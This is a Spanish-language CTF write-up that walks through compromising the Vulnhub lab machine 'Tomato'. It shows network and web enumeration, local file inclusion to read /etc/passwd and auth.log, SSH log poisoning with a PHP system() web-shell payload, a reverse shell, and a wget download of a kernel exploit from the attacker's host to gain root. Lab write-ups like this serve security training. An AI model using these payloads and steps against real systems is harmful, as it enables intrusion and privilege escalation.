Post

Tomato | CTF Writeup - Vulnhub

Posted
By Ian Barutta 7 min read

Tomato

En la primera etapa de enumeración, debemos asegurarnos de tener la máquina virtual corriendo. Escaneamos nuestra red local como usuario root con el comando arp-scan -I ens33 --localnet.

1
2
3
4
5
6
7
8
9
10

> arp-scan -I ens33 --localnet

Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.216.1   00:50:56:c0:00:08   VMware, Inc.
192.168.216.2   00:50:56:e2:11:a1   VMware, Inc.
192.168.216.145 00:0c:29:54:e6:37   VMware, Inc.
192.168.216.254   00:50:56:e7:c0:0d   VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.928 (132.78 hosts/sec). 4 responded

Inicializamos una variable de entorno llamada IP que contendrá la IP de la máquina Tomato.

1

> export IP=192.168.216.145

Enumeramos los puertos abiertos con nmap a través de un escaneo stealth scan (TCP SYN scan) y exportamos el output al archivo scan.txt.

1
2
3
4
5
6
7
8
9
10
11

> nmap -sS -p- --open -Pn -n -T5 -oN scan.txt $IP

Nmap scan report for 192.168.216.145
Host is up (0.00063s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
2211/tcp open  emwin
8888/tcp open  sun-answerbook
MAC Address: 00:0C:29:54:E6:37 (VMware)

Lanzamos scripts básicos de reconocimiento a los puertos abiertos de la máquina víctima.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

> nmap -sCV -p21,80,2211,8888 $IP -oN service_scanning.txt

Nmap scan report for 192.168.216.145
Host is up (0.00030s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Tomato
2211/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d2530a918cf1a610110d9e0f22f8498e (RSA)
|   256 b31260324828ebac80de17d796776e2f (ECDSA)
|_  256 366f52adfef7923ea2510f73068d8013 (ED25519)
8888/tcp open  http    nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: 401 Authorization Required
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Private Property
MAC Address: 00:0C:29:54:E6:37 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Vemos que no nos reportó nada acerca del script /usr/share/nmap/scripts/ftp-anon.nse, por tanto, no tenemos capacidad de autenticarnos como en usuario anonymous en el servicio ftp. Vemos que tenemos capacidad de enumeración de usuarios con ssh dado que corre OpenSSH con una versión menor a la 7.7 (CVE-2018-15473 SSH User Enumeration). Sin embargo, no tenemos ninguna información de ningún usuario hasta el momento.

Podemos proceder a enumerar la web. Entramos al servidor http corriendo por el puerto 80 y nos encontramos con lo siguiente:

1.png

Si abrimos el código fuente, no encontraremos nada de interés. En su contraparte, intentamos ver el servidor que está corriendo por el puerto 8888.

2.png

Aunque intentemos inyectar código SQL, NoSQL, etc. no podremos hacer nada al respecto.

Procedemos a enumerar directorios y archivos de interés en la web mediante gobuster con el diccionario common.txt del repositorio SecLists.

1

gobuster dir -u http://$IP -w /usr/share/SecLists/Discovery/Web-Content/common.txt -t 20 --add-slash

Vemos que la herramienta descubrió algunos directorios y archivos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.216.145
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Add Slash:               true
[+] Timeout:                 10s
===============================================================
2024/01/02 19:50:17 Starting gobuster in directory enumeration mode
===============================================================
/.hta/                (Status: 403) [Size: 280]
/.htaccess/           (Status: 403) [Size: 280]
/.htpasswd/           (Status: 403) [Size: 280]
/antibot_image/       (Status: 200) [Size: 956]
/icons/               (Status: 403) [Size: 280]
/server-status/       (Status: 403) [Size: 280]
Progress: 4715 / 4716 (99.98%)                ^C
[!] Keyboard interrupt detected, terminating.
                                               
===============================================================
2024/01/02 19:50:19 Finished
===============================================================

Si nos metemos al directorio antibot_image, vemos que tenemos capacidad de directory listing.

3.png 4.png

Podemos listar el info.php. Si filtramos por disable_functions, vemos que podríamos entablarnos una Reverse Shell con la función system() en el caso de poder ejecutar código PHP.

Si nos fijamos el código fuente, nos podemos percatar de un comentario que podría indicarnos a una posible vulnerabilidad LFI.

1
2
3
4
5
6
7
8
9
10
11
12

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<title>Document</title>
</head>
<body>
<!-- </?php include $_GET['image']; -->

</body>
</html>

Nos vamos a la URL y probamos igualar el parámetro image al archivo /etc/passwd. Si nos vamos al final del documento HTML, podemos apreciar el output del archivo indicado.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
tomato:x:1000:1000:Tomato,,,:/home/tomato:/bin/bash
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:109:117:ftp daemon,,,:/srv/ftp:/bin/false

Procedemos a listar los logs SSH ya que, como habíamos visto, el puerto 2211 estaba abierto y corriendo SSH.

http://192.168.216.145/antibot_image/antibots/info.php?image=/var/log/auth.log

¡Podemos listarlos! Listo, procedemos a inyectar código PHP mediante un envenenamiento del archivo auth.log, correspondiente a SSH. Primero, desde nuestra consola, nos intentamos autenticar hacia la máquina víctima de la siguiente manera:

1

> ssh -p 2211 '<?php system($_GET["cmd"]); ?>'@192.168.216.145

Este campo de usuario malicioso lo que hará es llamar a la función system para que se ejecute el comando que especifiquemos mediante una petición GET a la url con el parámetro cmd. El campo de usuario quedará en los logs como un intento de acceso erróneo al sistema, pero se ejecutará el código PHP en el navegador dado que el include está interpretando el código. Intentamos ejecutar el comando id.

5.png

Ahora solo nos queda entablarnos la Reverse Shell. Nos ponemos en escucha desde una consola con sudo nc -nlvp 443 y nos intentamos entablar la conexión.

6.png

Recibimos la conexión:

7.png

Aplicamos los siguientes comandos para tener una Full TTY intercativa.

1) script /dev/null -c bash 2) Ctrl+Z 3) stty raw -echo;fg 4) reset xterm 5) export TERM=xterm 6) export SHELL=bash

Enumeramos el sistema. Vemos si hay binarios interesantes con permisos SUID pero no encontramos ninguno.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

> find / -perm -4000 2>/dev/null

/bin/ntfs-3g
/bin/su
/bin/ping6
/bin/fusermount
/bin/mount
/bin/ping
/bin/umount
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/vmware-user-suid-wrapper

Nos movemos al directorio /home/tomato, y vemos lo siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

> ls -la

total 40
drwxr-xr-x 5 tomato tomato 4096 Sep  7  2020 .
drwxr-xr-x 3 root   root   4096 Sep  7  2020 ..
-rw------- 1 tomato tomato   10 Sep  7  2020 .bash_history
-rw-r--r-- 1 tomato tomato  220 Sep  7  2020 .bash_logout
-rw-r--r-- 1 tomato tomato 3771 Sep  7  2020 .bashrc
drwx------ 2 tomato tomato 4096 Sep  7  2020 .cache
drwxrwxr-x 2 tomato tomato 4096 Sep  7  2020 .nano
-rw-r--r-- 1 tomato tomato  675 Sep  7  2020 .profile
drwx------ 2 tomato tomato 4096 Sep  7  2020 .ssh
-rw-r--r-- 1 tomato tomato    0 Sep  7  2020 .sudo_as_admin_successful
-rw-rw-r-- 1 tomato tomato  175 Sep  7  2020 .wget-hsts

No podemos entrar al directorio .ssh ni leer .bash_history, así que poco podemos hacer. Intentamos enumerar la versión de kernel con uname -a. El kernel tiene una versión 4.4.0-21, por lo que podríamos hacer una elevación de privilegios mediante la CVE-2017-16995. Podemos agarrar este exploit de la web de exploit-db. Lo compilamos en nuestro equipo de atacante, no en la máquina víctima. Aplicamos gcc exploit.c -o exploit. Luego, nos lo transferimos a la máquina víctima desde la máquina atacante levantando un servidor HTTP con python:

1

> sudo python3 -m http.server 80

Desde la máquina víctima nos descargamos el recurso con wget.

1
2

> wget http://192.168.216.133/exploit
> chmod +x exploit

Finalmente, ejecutamos el exploit y ganamos acceso como root a la máquina víctima.

1
2
3

> cd /root
> cat proof.txt
Sun_CSR_TEAM_TOMATO_JS_0232xx23
PENTESTING, CTF
vulnhub writeup lfi lfi2rce log_poisoning kernel_exploitation
This post is licensed under CC BY 4.0 by the author.